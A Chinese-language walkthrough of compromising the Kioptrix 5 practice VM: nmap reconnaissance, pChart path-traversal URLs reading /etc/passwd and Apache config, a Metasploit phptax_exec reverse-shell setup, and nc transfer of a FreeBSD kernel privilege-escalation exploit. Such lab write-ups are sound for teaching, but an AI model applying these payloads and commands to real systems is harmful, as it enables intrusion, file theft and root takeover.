Kioptrix 5 渗透流程
信息收集
kali和靶机都是nat的网卡
1.存活扫描
nmap -sn 192.168.126.1/24
└─# nmap -sn 192.168.126.1/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-01 21:34 EST
Nmap scan report for 192.168.126.1
Host is up (0.00059s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.126.2
Host is up (0.00035s latency).
MAC Address: 00:50:56:E5:B1:08 (VMware)
Nmap scan report for 192.168.126.146 //发现靶机
Host is up (0.00091s latency).
MAC Address: 00:0C:29:2F:71:EF (VMware)
Nmap scan report for 192.168.126.254
Host is up (0.00046s latency).
MAC Address: 00:50:56:E3:46:91 (VMware)
Nmap scan report for 192.168.126.145
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.21 seconds2.端口扫描
nmap -sT -p- 192.168.126.146
└─# nmap -sT -p- 192.168.126.146
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-01 21:35 EST
Stats: 0:01:29 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 81.41% done; ETC: 21:37 (0:00:20 remaining)
Nmap scan report for 192.168.126.146
Host is up (0.00080s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp closed ssh
80/tcp open http
8080/tcp open http-proxy
MAC Address: 00:0C:29:2F:71:EF (VMware)3.服务扫描
nmap -sT -sV --version-all -O 192.168.126.146 -p 22,80,8080
└─# nmap -sT -sV --version-all -O 192.168.126.146 -p 22,80,8080
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-01 21:38 EST
Nmap scan report for 192.168.126.146
Host is up (0.00058s latency).
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
8080/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
MAC Address: 00:0C:29:2F:71:EF (VMware)
OS fingerprint not ideal because: Didn't receive UDP response. Please try again with -sSU
No OS matches for host
Network Distance: 1 hopweb渗透：
访问8080：
被拒绝
访问80：
查看源码发现信息：
尝试访问：
漏洞搜索：
发现对应的脚本，版本一致，是个路径穿越漏洞
拼接url：
http://192.168.126.146/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd
可以看到操作系统为FreeBSD 9.0，存在root权限用户root和toor，普通用户ossec，ossecm和ossecr。使用搜索引擎搜索FreeBSD系统Apache的配置文件路径，得到默认配置文件路径为：/usr/local/etc/apache22/httpd.conf
此时得到url：
http://192.168.126.146/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf
最后面可以看到访问8080端口的agent是 Mozilla/4.0 Mozilla4_browser
我们利用 burp suite 抓包修改
再访问发现都是无用的信息：
尝试搜索 phptax的 漏洞：
searchsploit phptax
└─# searchsploit phptax
--------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------- ---------------------------------
PhpTax - 'pfilez' Execution Remote Code Injection (Metasploit) | php/webapps/21833.rb
PhpTax 0.8 - File Manipulation 'newvalue' / Remote Code Execution | php/webapps/25849.txt
phptax 0.8 - Remote Code Execution | php/webapps/21665.txt
--------------------------------------------------------------------------------------------------- ---------------------------------找到3个poc
msf一把梭
msfconsole
use exploit/multi/http/phptax_exec
show options
set rhosts 192.168.126.146
set rport 8080
show payloads
set payload cmd/unix/reverse
set lhost 192.168.126.145
set useragent Mozilla/4.0 Mozilla4_browser
run
最终设置：
成功拿到www权限
提权：
uname -a
FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UTC 2012 [email protected]:/usr/obj/usr/src/sys/GENERIC amd64
查询提权脚本：
searchsploit FreeBSD 9.0
------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------ ---------------------------------
FreeBSD 9.0 - Intel SYSRET Kernel Privilege Escalation | freebsd/local/28718.c
FreeBSD 9.0 < 9.1 - 'mmap/ptrace' Local Privilege Escalation | freebsd/local/26368.c
------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
下载脚本：
searchsploit -m 28718.c
Exploit: FreeBSD 9.0 - Intel SYSRET Kernel Privilege Escalation
URL: https://www.exploit-db.com/exploits/28718
Path: /usr/share/exploitdb/exploits/freebsd/local/28718.c
Codes: CVE-2012-0217, OSVDB-82949
Verified: True
File Type: C source, ASCII text
Copied to: /home/kali/Desktop/28718.c上传至靶机：
kali：开启http服务
┌──(root㉿kali)-[/home/kali/Desktop/k5]
└─# ls
28718.c
┌──(root㉿kali)-[/home/kali/Desktop/k5]
└─# python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...靶机：wgt下载
。。。。靶机没装wget 尝试其他方法
nc上传：
kali：nc -lvnp 8888 <28718.c
靶机：nc -nv 192.168.126.145 8888 > 28718.c
